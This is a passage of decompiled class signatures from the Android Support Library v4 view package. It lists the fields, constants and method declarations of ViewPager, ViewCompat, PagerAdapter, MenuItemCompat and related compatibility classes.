    public static boolean collapseActionView(android.view.MenuItem);
    public static boolean isActionViewExpanded(android.view.MenuItem);
    public static android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompatIcs$SupportActionExpandProxy);
}










android/support/v4/view/ViewPager$Decor.class


package android.support.v4.view;
abstract interface ViewPager$Decor {
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1 implements AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/ScaleGestureDetectorCompat$ScaleGestureDetectorImpl.class


package android.support.v4.view;
abstract interface ScaleGestureDetectorCompat$ScaleGestureDetectorImpl {
    public abstract void setQuickScaleEnabled(Object, boolean);
    public abstract boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/AccessibilityDelegateCompatIcs.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatIcs {
    void AccessibilityDelegateCompatIcs();
    public static Object newAccessibilityDelegateDefaultImpl();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public static boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(Object, android.view.View, Object);
    public static void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void sendAccessibilityEvent(Object, android.view.View, int);
    public static void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPager.class


package android.support.v4.view;
public synchronized class ViewPager extends android.view.ViewGroup {
    private static final String TAG = ViewPager;
    private static final boolean DEBUG = 0;
    private static final boolean USE_CACHE = 0;
    private static final int DEFAULT_OFFSCREEN_PAGES = 1;
    private static final int MAX_SETTLE_DURATION = 600;
    private static final int MIN_DISTANCE_FOR_FLING = 25;
    private static final int DEFAULT_GUTTER_SIZE = 16;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final int[] LAYOUT_ATTRS;
    private int mExpectedAdapterCount;
    private static final java.util.Comparator COMPARATOR;
    private static final android.view.animation.Interpolator sInterpolator;
    private final java.util.ArrayList mItems;
    private final ViewPager$ItemInfo mTempItem;
    private final android.graphics.Rect mTempRect;
    private PagerAdapter mAdapter;
    private int mCurItem;
    private int mRestoredCurItem;
    private android.os.Parcelable mRestoredAdapterState;
    private ClassLoader mRestoredClassLoader;
    private android.widget.Scroller mScroller;
    private ViewPager$PagerObserver mObserver;
    private int mPageMargin;
    private android.graphics.drawable.Drawable mMarginDrawable;
    private int mTopPageBounds;
    private int mBottomPageBounds;
    private float mFirstOffset;
    private float mLastOffset;
    private int mChildWidthMeasureSpec;
    private int mChildHeightMeasureSpec;
    private boolean mInLayout;
    private boolean mScrollingCacheEnabled;
    private boolean mPopulatePending;
    private int mOffscreenPageLimit;
    private boolean mIsBeingDragged;
    private boolean mIsUnableToDrag;
    private boolean mIgnoreGutter;
    private int mDefaultGutterSize;
    private int mGutterSize;
    private int mTouchSlop;
    private float mLastMotionX;
    private float mLastMotionY;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mActivePointerId;
    private static final int INVALID_POINTER = -1;
    private android.view.VelocityTracker mVelocityTracker;
    private int mMinimumVelocity;
    private int mMaximumVelocity;
    private int mFlingDistance;
    private int mCloseEnough;
    private static final int CLOSE_ENOUGH = 2;
    private boolean mFakeDragging;
    private long mFakeDragBeginTime;
    private android.support.v4.widget.EdgeEffectCompat mLeftEdge;
    private android.support.v4.widget.EdgeEffectCompat mRightEdge;
    private boolean mFirstLayout;
    private boolean mNeedCalculatePageOffsets;
    private boolean mCalledSuper;
    private int mDecorChildCount;
    private ViewPager$OnPageChangeListener mOnPageChangeListener;
    private ViewPager$OnPageChangeListener mInternalPageChangeListener;
    private ViewPager$OnAdapterChangeListener mAdapterChangeListener;
    private ViewPager$PageTransformer mPageTransformer;
    private reflect.Method mSetChildrenDrawingOrderEnabled;
    private static final int DRAW_ORDER_DEFAULT = 0;
    private static final int DRAW_ORDER_FORWARD = 1;
    private static final int DRAW_ORDER_REVERSE = 2;
    private int mDrawingOrder;
    private java.util.ArrayList mDrawingOrderedChildren;
    private static final ViewPager$ViewPositionComparator sPositionComparator;
    public static final int SCROLL_STATE_IDLE = 0;
    public static final int SCROLL_STATE_DRAGGING = 1;
    public static final int SCROLL_STATE_SETTLING = 2;
    private final Runnable mEndScrollRunnable;
    private int mScrollState;
    public void ViewPager(android.content.Context);
    public void ViewPager(android.content.Context, android.util.AttributeSet);
    void initViewPager();
    protected void onDetachedFromWindow();
    private void setScrollState(int);
    public void setAdapter(PagerAdapter);
    private void removeNonDecorViews();
    public PagerAdapter getAdapter();
    void setOnAdapterChangeListener(ViewPager$OnAdapterChangeListener);
    private int getClientWidth();
    public void setCurrentItem(int);
    public void setCurrentItem(int, boolean);
    public int getCurrentItem();
    void setCurrentItemInternal(int, boolean, boolean);
    void setCurrentItemInternal(int, boolean, boolean, int);
    private void scrollToItem(int, boolean, int, boolean);
    public void setOnPageChangeListener(ViewPager$OnPageChangeListener);
    public void setPageTransformer(boolean, ViewPager$PageTransformer);
    void setChildrenDrawingOrderEnabledCompat(boolean);
    protected int getChildDrawingOrder(int, int);
    ViewPager$OnPageChangeListener setInternalPageChangeListener(ViewPager$OnPageChangeListener);
    public int getOffscreenPageLimit();
    public void setOffscreenPageLimit(int);
    public void setPageMargin(int);
    public int getPageMargin();
    public void setPageMarginDrawable(android.graphics.drawable.Drawable);
    public void setPageMarginDrawable(int);
    protected boolean verifyDrawable(android.graphics.drawable.Drawable);
    protected void drawableStateChanged();
    float distanceInfluenceForSnapDuration(float);
    void smoothScrollTo(int, int);
    void smoothScrollTo(int, int, int);
    ViewPager$ItemInfo addNewItem(int, int);
    void dataSetChanged();
    void populate();
    void populate(int);
    private void sortChildDrawingOrder();
    private void calculatePageOffsets(ViewPager$ItemInfo, int, ViewPager$ItemInfo);
    public android.os.Parcelable onSaveInstanceState();
    public void onRestoreInstanceState(android.os.Parcelable);
    public void addView(android.view.View, int, android.view.ViewGroup$LayoutParams);
    public void removeView(android.view.View);
    ViewPager$ItemInfo infoForChild(android.view.View);
    ViewPager$ItemInfo infoForAnyChild(android.view.View);
    ViewPager$ItemInfo infoForPosition(int);
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onSizeChanged(int, int, int, int);
    private void recomputeScrollPosition(int, int, int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void computeScroll();
    private boolean pageScrolled(int);
    protected void onPageScrolled(int, float, int);
    private void completeScroll(boolean);
    private boolean isGutterDrag(float, float);
    private void enableLayers(boolean);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private void requestParentDisallowInterceptTouchEvent(boolean);
    private boolean performDrag(float);
    private ViewPager$ItemInfo infoForCurrentScrollPosition();
    private int determineTargetPage(int, float, int, int);
    public void draw(android.graphics.Canvas);
    protected void onDraw(android.graphics.Canvas);
    public boolean beginFakeDrag();
    public void endFakeDrag();
    public void fakeDragBy(float);
    public boolean isFakeDragging();
    private void onSecondaryPointerUp(android.view.MotionEvent);
    private void endDrag();
    private void setScrollingCacheEnabled(boolean);
    public boolean canScrollHorizontally(int);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    public boolean dispatchKeyEvent(android.view.KeyEvent);
    public boolean executeKeyEvent(android.view.KeyEvent);
    public boolean arrowScroll(int);
    private android.graphics.Rect getChildRectInPagerCoordinates(android.graphics.Rect, android.view.View);
    boolean pageLeft();
    boolean pageRight();
    public void addFocusables(java.util.ArrayList, int, int);
    public void addTouchables(java.util.ArrayList);
    protected boolean onRequestFocusInDescendants(int, android.graphics.Rect);
    public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatJellyBean {
    void AccessibilityDelegateCompatJellyBean();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public static Object getAccessibilityNodeProvider(Object, android.view.View);
    public static boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewPager$SavedState$1.class


package android.support.v4.view;
final synchronized class ViewPager$SavedState$1 implements android.support.v4.os.ParcelableCompatCreatorCallbacks {
    void ViewPager$SavedState$1();
    public ViewPager$SavedState createFromParcel(android.os.Parcel, ClassLoader);
    public ViewPager$SavedState[] newArray(int);
}










android/support/v4/view/ViewConfigurationCompat$ViewConfigurationVersionImpl.class


package android.support.v4.view;
abstract interface ViewConfigurationCompat$ViewConfigurationVersionImpl {
    public abstract int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/MenuCompat.class


package android.support.v4.view;
public synchronized class MenuCompat {
    public void MenuCompat();
    public static void setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/PagerAdapter.class


package android.support.v4.view;
public abstract synchronized class PagerAdapter {
    private android.database.DataSetObservable mObservable;
    public static final int POSITION_UNCHANGED = -1;
    public static final int POSITION_NONE = -2;
    public void PagerAdapter();
    public abstract int getCount();
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public void startUpdate(android.view.View);
    public Object instantiateItem(android.view.View, int);
    public void destroyItem(android.view.View, int, Object);
    public void setPrimaryItem(android.view.View, int, Object);
    public void finishUpdate(android.view.View);
    public abstract boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public int getItemPosition(Object);
    public void notifyDataSetChanged();
    public void registerDataSetObserver(android.database.DataSetObserver);
    public void unregisterDataSetObserver(android.database.DataSetObserver);
    public CharSequence getPageTitle(int);
    public float getPageWidth(int);
}










android/support/v4/view/ViewCompat$ViewCompatImpl.class


package android.support.v4.view;
abstract interface ViewCompat$ViewCompatImpl {
    public abstract boolean canScrollHorizontally(android.view.View, int);
    public abstract boolean canScrollVertically(android.view.View, int);
    public abstract int getOverScrollMode(android.view.View);
    public abstract void setOverScrollMode(android.view.View, int);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public abstract boolean hasTransientState(android.view.View);
    public abstract void setHasTransientState(android.view.View, boolean);
    public abstract void postInvalidateOnAnimation(android.view.View);
    public abstract void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public abstract void postOnAnimation(android.view.View, Runnable);
    public abstract void postOnAnimationDelayed(android.view.View, Runnable, long);
    public abstract int getImportantForAccessibility(android.view.View);
    public abstract void setImportantForAccessibility(android.view.View, int);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public abstract float getAlpha(android.view.View);
    public abstract void setLayerType(android.view.View, int, android.graphics.Paint);
    public abstract int getLayerType(android.view.View);
    public abstract int getLabelFor(android.view.View);
    public abstract void setLabelFor(android.view.View, int);
    public abstract void setLayerPaint(android.view.View, android.graphics.Paint);
    public abstract int getLayoutDirection(android.view.View);
    public abstract void setLayoutDirection(android.view.View, int);
    public abstract android.view.ViewParent getParentForAccessibility(android.view.View);
    public abstract boolean isOpaque(android.view.View);
    public abstract int resolveSizeAndState(int, int, int);
    public abstract int getMeasuredWidthAndState(android.view.View);
    public abstract int getMeasuredHeightAndState(android.view.View);
    public abstract int getMeasuredState(android.view.View);
    public abstract int getAccessibilityLiveRegion(android.view.View);
    public abstract void setAccessibilityLiveRegion(android.view.View, int);
}










android/support/v4/view/ViewCompatGingerbread.class


package android.support.v4.view;
synchronized class ViewCompatGingerbread {
    void ViewCompatGingerbread();
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/AccessibilityDelegateCompat.class


package android.support.v4.view;
public synchronized class AccessibilityDelegateCompat {
    private static final AccessibilityDelegateCompat$AccessibilityDelegateImpl IMPL;
    private static final Object DEFAULT_DELEGATE;
    final Object mBridge;
    public void AccessibilityDelegateCompat();
    Object getBridge();
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/view/ViewPager$OnPageChangeListener.class


package android.support.v4.view;
public abstract interface ViewPager$OnPageChangeListener {
    public abstract void onPageScrolled(int, float, int);
    public abstract void onPageSelected(int);
    public abstract void onPageScrollStateChanged(int);
}










android/support/v4/view/ViewCompat$JbMr1ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JbMr1ViewCompatImpl extends ViewCompat$JBViewCompatImpl {
    void ViewCompat$JbMr1ViewCompatImpl();
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int getLayoutDirection(android.view.View);
    public void setLayoutDirection(android.view.View, int);
}










android/support/v4/view/MotionEventCompatEclair.class


package android.support.v4.view;
synchronized class MotionEventCompatEclair {
    void MotionEventCompatEclair();
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/KeyEventCompatEclair.class


package android.support.v4.view;
synchronized class KeyEventCompatEclair {
    void KeyEventCompatEclair();
    public static Object getKeyDispatcherState(android.view.View);
    public static boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
    public static void startTracking(android.view.KeyEvent);
    public static boolean isTracking(android.view.KeyEvent);
}










android/support/v4/view/PagerTabStrip$1.class


package android.support.v4.view;
synchronized class PagerTabStrip$1 implements android.view.View$OnClickListener {
    void PagerTabStrip$1(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/KeyEventCompat$KeyEventVersionImpl.class


package android.support.v4.view;
abstract interface KeyEventCompat$KeyEventVersionImpl {
    public abstract int normalizeMetaState(int);
    public abstract boolean metaStateHasModifiers(int, int);
    public abstract boolean metaStateHasNoModifiers(int);
    public abstract void startTracking(android.view.KeyEvent);
    public abstract boolean isTracking(android.view.KeyEvent);
    public abstract Object getKeyDispatcherState(android.view.View);
    public abstract boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
}










android/support/v4/view/ViewPager$3.class


package android.support.v4.view;
synchronized class ViewPager$3 implements Runnable {
    void ViewPager$3(ViewPager);
    public void run();
}










android/support/v4/view/VelocityTrackerCompat.class


package android.support.v4.view;
public synchronized class VelocityTrackerCompat {
    static final VelocityTrackerCompat$VelocityTrackerVersionImpl IMPL;
    public void VelocityTrackerCompat();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
    static void <clinit>();
}










android/support/v4/view/ViewPager$ViewPositionComparator.class


package android.support.v4.view;
synchronized class ViewPager$ViewPositionComparator implements java.util.Comparator {
    void ViewPager$ViewPositionComparator();
    public int compare(android.view.View, android.view.View);
}










android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$KitKatViewCompatImpl extends ViewCompat$JbMr1ViewCompatImpl {
    void ViewCompat$KitKatViewCompatImpl();
    public int getAccessibilityLiveRegion(android.view.View);
    public void setAccessibilityLiveRegion(android.view.View, int);
}










android/support/v4/view/MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl.class


package android.support.v4.view;
abstract interface MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl {
    public abstract int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public abstract int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public abstract void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public abstract void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public abstract boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public abstract int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public abstract void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public abstract void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/ViewPager$2.class


package android.support.v4.view;
final synchronized class ViewPager$2 implements android.view.animation.Interpolator {
    void ViewPager$2();
    public float getInterpolation(float);
}










android/support/v4/view/ViewCompat.class


package android.support.v4.view;
public synchronized class ViewCompat {
    public static final int OVER_SCROLL_ALWAYS = 0;
    public static final int OVER_SCROLL_IF_CONTENT_SCROLLS = 1;
    public static final int OVER_SCROLL_NEVER = 2;
    private static final long FAKE_FRAME_TIME = 10;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_AUTO = 0;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_YES = 1;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_NO = 2;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS = 4;
    public static final int ACCESSIBILITY_LIVE_REGION_NONE = 0;
    public static final int ACCESSIBILITY_LIVE_REGION_POLITE = 1;
    public static final int ACCESSIBILITY_LIVE_REGION_ASSERTIVE = 2;
    public static final int LAYER_TYPE_NONE = 0;
    public static final int LAYER_TYPE_SOFTWARE = 1;
    public static final int LAYER_TYPE_HARDWARE = 2;
    public static final int LAYOUT_DIRECTION_LTR = 0;
    public static final int LAYOUT_DIRECTION_RTL = 1;
    public static final int LAYOUT_DIRECTION_INHERIT = 2;
    public static final int LAYOUT_DIRECTION_LOCALE = 3;
    public static final int MEASURED_SIZE_MASK = 16777215;
    public static final int MEASURED_STATE_MASK = -16777216;
    public static final int MEASURED_HEIGHT_STATE_SHIFT = 16;
    public static final int MEASURED_STATE_TOO_SMALL = 16777216;
    static final ViewCompat$ViewCompatImpl IMPL;
    public void ViewCompat();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public static void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public static float getAlpha(android.view.View);
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    public static void setLayerPaint(android.view.View, android.graphics.Paint);
    public static int getLayoutDirection(android.view.View);
    public static void setLayoutDirection(android.view.View, int);
    public static android.view.ViewParent getParentForAccessibility(android.view.View);
    public static boolean isOpaque(android.view.View);
    public static int resolveSizeAndState(int, int, int);
    public static int getMeasuredWidthAndState(android.view.View);
    public static int getMeasuredHeightAndState(android.view.View);
    public static int getMeasuredState(android.view.View);
    public int getAccessibilityLiveRegion(android.view.View);
    public void setAccessibilityLiveRegion(android.view.View, int);
    static void <clinit>();
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler extends android.os.Handler {
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase);
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase, android.os.Handler);
    public void handleMessage(android.os.Message);
}










android/support/v4/view/KeyEventCompat$BaseKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$BaseKeyEventVersionImpl implements KeyEventCompat$KeyEventVersionImpl {
    private static final int META_MODIFIER_MASK = 247;
    private static final int META_ALL_MASK = 247;
    void KeyEventCompat$BaseKeyEventVersionImpl();
    private static int metaStateFilterDirectionalModifiers(int, int, int, int, int);
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
    public void startTracking(android.view.KeyEvent);
    public boolean isTracking(android.view.KeyEvent);
    public Object getKeyDispatcherState(android.view.View);
    public boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
}










android/support/v4/view/KeyEventCompat$HoneycombKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$HoneycombKeyEventVersionImpl extends KeyEventCompat$EclairKeyEventVersionImpl {
    void KeyEventCompat$HoneycombKeyEventVersionImpl();
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/ViewCompat$ICSViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$ICSViewCompatImpl extends ViewCompat$HCViewCompatImpl {
    void ViewCompat$ICSViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
}










android/support/v4/view/ViewCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class ViewCompatJellybeanMr1 {
    void ViewCompatJellybeanMr1();
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    public static void setLayerPaint(android.view.View, android.graphics.Paint);
    public static int getLayoutDirection(android.view.View);
    public static void setLayoutDirection(android.view.View, int);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatHCImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatHCImpl extends ViewGroupCompat$ViewGroupCompatStubImpl {
    void ViewGroupCompat$ViewGroupCompatHCImpl();
    public void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/ViewCompatEclairMr1.class


package android.support.v4.view;
synchronized class ViewCompatEclairMr1 {
    void ViewCompatEclairMr1();
    public static boolean isOpaque(android.view.View);
}










android/support/v4/view/MarginLayoutParamsCompatJellybeanMr1.class


package android.support.v4.view;
synchronized class MarginLayoutParamsCompatJellybeanMr1 {
    void MarginLayoutParamsCompatJellybeanMr1();
    public static int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public static int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public static void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public static void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public static boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public static int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public static void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public static void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplIcs.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplIcs implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplIcs();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImpl.class


package android.support.v4.view;
abstract interface PagerTitleStrip$PagerTitleStripImpl {
    public abstract void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/GestureDetectorCompat.class


package android.support.v4.view;
public synchronized class GestureDetectorCompat {
    private final GestureDetectorCompat$GestureDetectorCompatImpl mImpl;
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener);
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/ViewPager$PagerObserver.class


package android.support.v4.view;
synchronized class ViewPager$PagerObserver extends android.database.DataSetObserver {
    private void ViewPager$PagerObserver(ViewPager);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/view/MenuItemCompat.class


package android.support.v4.view;
public synchronized class MenuItemCompat {
    private static final String TAG = MenuItemCompat;
    public static final int SHOW_AS_ACTION_NEVER = 0;
    public static final int SHOW_AS_ACTION_IF_ROOM = 1;
    public static final int SHOW_AS_ACTION_ALWAYS = 2;
    public static final int SHOW_AS_ACTION_WITH_TEXT = 4;
    public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8;
    static final MenuItemCompat$MenuVersionImpl IMPL;
    public void MenuItemCompat();
    public static void setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public static android.view.MenuItem setActionView(android.view.MenuItem, int);
    public static android.view.View getActionView(android.view.MenuItem);
    public static android.view.MenuItem setActionProvider(android.view.MenuItem, ActionProvider);
    public static ActionProvider getActionProvider(android.view.MenuItem);
    public static boolean expandActionView(android.view.MenuItem);
    public static boolean collapseActionView(android.view.MenuItem);
    public static boolean isActionViewExpanded(android.view.MenuItem);
    public static android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
    static void <clinit>();
}










android/support/v4/view/MenuItemCompat$IcsMenuVersionImpl$1.class


package android.support.v4.view;
synchronized class MenuItemCompat$IcsMenuVersionImpl$1 implements MenuItemCompatIcs$SupportActionExpandProxy {
    void MenuItemCompat$IcsMenuVersionImpl$1(MenuItemCompat$IcsMenuVersionImpl, MenuItemCompat$OnActionExpandListener);
    public boolean onMenuItemActionExpand(android.view.MenuItem);
    public boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/ViewConfigurationCompat$FroyoViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$FroyoViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$FroyoViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










